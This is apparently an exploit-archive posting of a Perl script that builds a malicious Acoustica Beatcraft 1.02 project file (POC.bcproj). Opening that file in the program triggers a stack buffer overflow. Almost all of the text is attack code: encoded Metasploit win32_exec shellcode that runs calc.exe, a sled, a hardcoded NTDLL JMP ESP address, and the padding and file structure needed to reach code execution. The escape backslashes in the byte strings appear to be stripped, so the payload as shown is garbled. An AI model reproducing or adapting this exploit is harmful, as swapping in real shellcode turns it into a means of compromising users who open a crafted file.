[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Acoustica Beatcraft 1.02 Build 19 (bcproj file) Local BOF Exploit
# Published : 2008-08-30
# Author : Koshi
# Previous Title : Postfix <= 2.6-20080814 (symlink) Local Privilege Escalation Exploit
# Next Title : Acoustica MP3 CD Burner 4.51 Build 147 (asx file) Local BOF Exploit
#!/usr/bin/perl
#
# Acoustica Beatcraft (bcproj file) Local BOF Exploit
# Author: Koshi
#
# Date: 08-30-08 ( 0day )
# Application: Acoustica Beatcraft
# Version(s): v1.02 Build 19
# Site: http://acoustica.com/beatcraft/index.htm
# Tested On: Windows XP SP3 Fully Patched
#
# Acoustica Beatcraft contains a buffer prone to exploitation via an
# overly long string. The buffer contains the "title" of the "instruments"
# one can insert into a Beatcraft project. This exploit is a bit
# unstable in the fact that, to properly exploit it, one must open
# Beatcraft firstly, then proceed to open the exploit file from
# within Beatcraft. Simply double clicking the file will result
# in a simple DoS scenario. ( Hopefully I'll fix this soon )
# My guess as of now is we're not going to have it both ways.
#
# gr33tz: Rima my baby, str0ke, breaker_unit, mess'
#
# win32_exec - EXITFUNC=process CMD=calc.exe Size=165 Encoder=ShikataGaNai http://metasploit.com
my $shellcode =
"xddxc3xd9x74x24xf4x5bx29xc9xb8x1fxb4xe6x18xb1x24".
"x83xebxfcx31x43x13x03x5cxa7x04xedx9ex2fx8cx0ex5e".
"xb0x86x4ax62x3bxe4x51xe2x3axfaxd1x5dx25x8fxb9x41".
"x54x64x0cx0ax62xf1x8exe2xbaxc5x08x56x38x05x5exa1".
"x80x4cx92xacxc0xbax59x95x90x18xa6x9cxfdxeaxf9x7a".
"xffx07x63x09xf3x9cxe7x52x10x22x13xe7x34xafxe2x1c".
"xcdxf3xc0xe6x0dx3axc9x82x1ax7dxf9xcfxddx06xf5x44".
"x9dxfax8ex2ax02xaex1axa2x32x5bx15xb9xc3x2bx26xbd".
"xc3xc0x4fx81x9cxe7x79x99x74x81x7exdaxb9xeax2exb4".
"x47xd5x2dx37xd0x7dx4fx3dx2ex29x4fxa6x4cxb4xc3x4b".
"xbdx53x64xeexc1";
my $led1 = "A"x110; # Sled ( x41 INC ECX )
my $led2 = "A"x34; # Sled ( x41 INC ECX )
my $buf1 = "A"x179; # Overflow
my $buff = "".
"$buf1". # Overflowage...
"$led1". # Slide on down to the jump
"xebx07". # Jump NTDLL address
"xedx1ex94x7c". # NTDLL.DLL JMP ESP ( This may need to be changed to a different JMP ESP )
"xebx31". # Line it up right and land into the sled
"$led2". # Slip on down to the shellcode
"$shellcode"; # ..to the beat of a different drum.
my $tuff = "".
"x52x49x46x46xB0x0Fx00x00x62x65x61x74x62x70x72x6Fx30x02x00x00".
"xCDxCCx8Cx3Fx43x3Ax5Cx44x6Fx63x75x6Dx65x6Ex74x73x20x61x6Ex64".
"x20x53x65x74x74x69x6Ex67x73x5Cx4Fx77x6Ex65x72x5Cx44x65x73x6B".
"x74x6Fx70x5Cx70x6Fx63x2Ex62x63x70x72x6Fx6Ax00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x04x00x00x00x04x00x00x00x64x00x00x00x64x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x01x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x01x00x00x00".
"x62x6Bx69x74x98x01x00x00x00x00x80x3FxE8x2Bx56x13x9Fx06xB1x4F".
"xB8x24x65xE5x00xABxB8xA7x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x62x74x72x61".
"x28x00x00x00xCDxCCx8Cx3Fx00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x64x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x62x73x61x6Dx9Cx02x00x00x00x00x80x3Fx00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00".
"$buff".
"x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x62x70x61x74xA8x01x00x00x00x00x80x3F".
"x3CxF3x4Bx37x40x30xECx4ExA3xD7xB3x2Cx48x84xE5xACx01x00x00x00".
"x04x00x00x00x04x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00".
"x62x73x73x65x0Cx00x00x00x00x00x80x3Fx00x00x00x00x10x00x00x00".
"x62x73x74x65x60x00x00x00x00x00x80x3Fx00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x64x00x00x00".
"x00x00x00x00x64x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00xF0x3Fx00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x62x73x74x65x60x00x00x00x00x00x80x3Fx00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x01x00x00x00".
"x64x00x00x00x00x00x00x00x64x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00xF0x3Fx00x00x00x00".
"x00x00xB0x3Fx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x62x73x74x65x60x00x00x00x00x00x80x3F".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x02x00x00x00".
"x02x00x00x00x64x00x00x00x00x00x00x00x64x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xF0x3F".
"x00x00x00x00x00x00xC0x3Fx00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x62x73x74x65x60x00x00x00".
"x00x00x80x3Fx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x03x00x00x00x03x00x00x00x64x00x00x00x00x00x00x00x64x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00xF0x3Fx00x00x00x00x00x00xC8x3Fx00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x62x73x74x65".
"x60x00x00x00x00x00x80x3Fx00x00x00x00x00x00x00x00x00x00x00x00".
"x01x00x00x00x00x00x00x00x04x00x00x00x64x00x00x00x00x00x00x00".
"x64x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00xF0x3Fx00x00x00x00x00x00xD0x3Fx00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x62x73x74x65x60x00x00x00x00x00x80x3Fx00x00x00x00x00x00x00x00".
"x00x00x00x00x01x00x00x00x01x00x00x00x05x00x00x00x64x00x00x00".
"x00x00x00x00x64x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00xF0x3Fx00x00x00x00x00x00xD4x3F".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x62x73x74x65x60x00x00x00x00x00x80x3Fx00x00x00x00".
"x00x00x00x00x00x00x00x00x01x00x00x00x02x00x00x00x06x00x00x00".
"x64x00x00x00x00x00x00x00x64x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00xF0x3Fx00x00x00x00".
"x00x00xD8x3Fx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x62x73x74x65x60x00x00x00x00x00x80x3F".
"x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x03x00x00x00".
"x07x00x00x00x64x00x00x00x00x00x00x00x64x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xF0x3F".
"x00x00x00x00x00x00xDCx3Fx00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x62x73x74x65x60x00x00x00".
"x00x00x80x3Fx00x00x00x00x00x00x00x00x00x00x00x00x02x00x00x00".
"x00x00x00x00x08x00x00x00x64x00x00x00x00x00x00x00x64x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00xF0x3Fx00x00x00x00x00x00xE0x3Fx00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x62x73x74x65".
"x60x00x00x00x00x00x80x3Fx00x00x00x00x00x00x00x00x00x00x00x00".
"x02x00x00x00x01x00x00x00x09x00x00x00x64x00x00x00x00x00x00x00".
"x64x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00xF0x3Fx00x00x00x00x00x00xE2x3Fx00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x62x73x74x65x60x00x00x00x00x00x80x3Fx00x00x00x00x00x00x00x00".
"x00x00x00x00x02x00x00x00x02x00x00x00x0Ax00x00x00x64x00x00x00".
"x00x00x00x00x64x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00xF0x3Fx00x00x00x00x00x00xE4x3F".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x62x73x74x65x60x00x00x00x00x00x80x3Fx00x00x00x00".
"x00x00x00x00x00x00x00x00x02x00x00x00x03x00x00x00x0Bx00x00x00".
"x64x00x00x00x00x00x00x00x64x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00xF0x3Fx00x00x00x00".
"x00x00xE6x3Fx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x62x73x74x65x60x00x00x00x00x00x80x3F".
"x00x00x00x00x00x00x00x00x00x00x00x00x03x00x00x00x00x00x00x00".
"x0Cx00x00x00x64x00x00x00x00x00x00x00x64x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xF0x3F".
"x00x00x00x00x00x00xE8x3Fx00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x62x73x74x65x60x00x00x00".
"x00x00x80x3Fx00x00x00x00x00x00x00x00x00x00x00x00x03x00x00x00".
"x01x00x00x00x0Dx00x00x00x64x00x00x00x00x00x00x00x64x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00xF0x3Fx00x00x00x00x00x00xEAx3Fx00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x62x73x74x65".
"x60x00x00x00x00x00x80x3Fx00x00x00x00x00x00x00x00x00x00x00x00".
"x03x00x00x00x02x00x00x00x0Ex00x00x00x64x00x00x00x00x00x00x00".
"x64x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00xF0x3Fx00x00x00x00x00x00xECx3Fx00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x62x73x74x65x60x00x00x00x00x00x80x3Fx00x00x00x00x00x00x00x00".
"x00x00x00x00x03x00x00x00x03x00x00x00x0Fx00x00x00x64x00x00x00".
"x00x00x00x00x64x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00xF0x3Fx00x00x00x00x00x00xEEx3F".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x62x73x65x71x24x00x00x00x00x00x80x3Fx00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x01x00x00x00x62x73x71x6Fx38x00x00x00x00x00x80x3F".
"x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"xCDxCDxCDxCDxCDxCDxCDxCDx00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x62x73x71x6Fx38x00x00x00".
"x00x00x80x3Fx02x00x00x00x00x00x00x00x04x00x00x00x00x00x00x00".
"x00x00x00x00xCDxCDxCDxCDxCDxCDxCDxCDx00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x62x73x65x71".
"x08x00x00x00x00x00x80x3Fx00x00x00x00";
open (MYFILE, '>>POC.bcproj');
binmode(MYFILE);
print MYFILE "$tuff";
close (MYFILE);
print "Exploit file has been created. ( POC.bcproj )n";
# www.Syue.com [2008-08-30]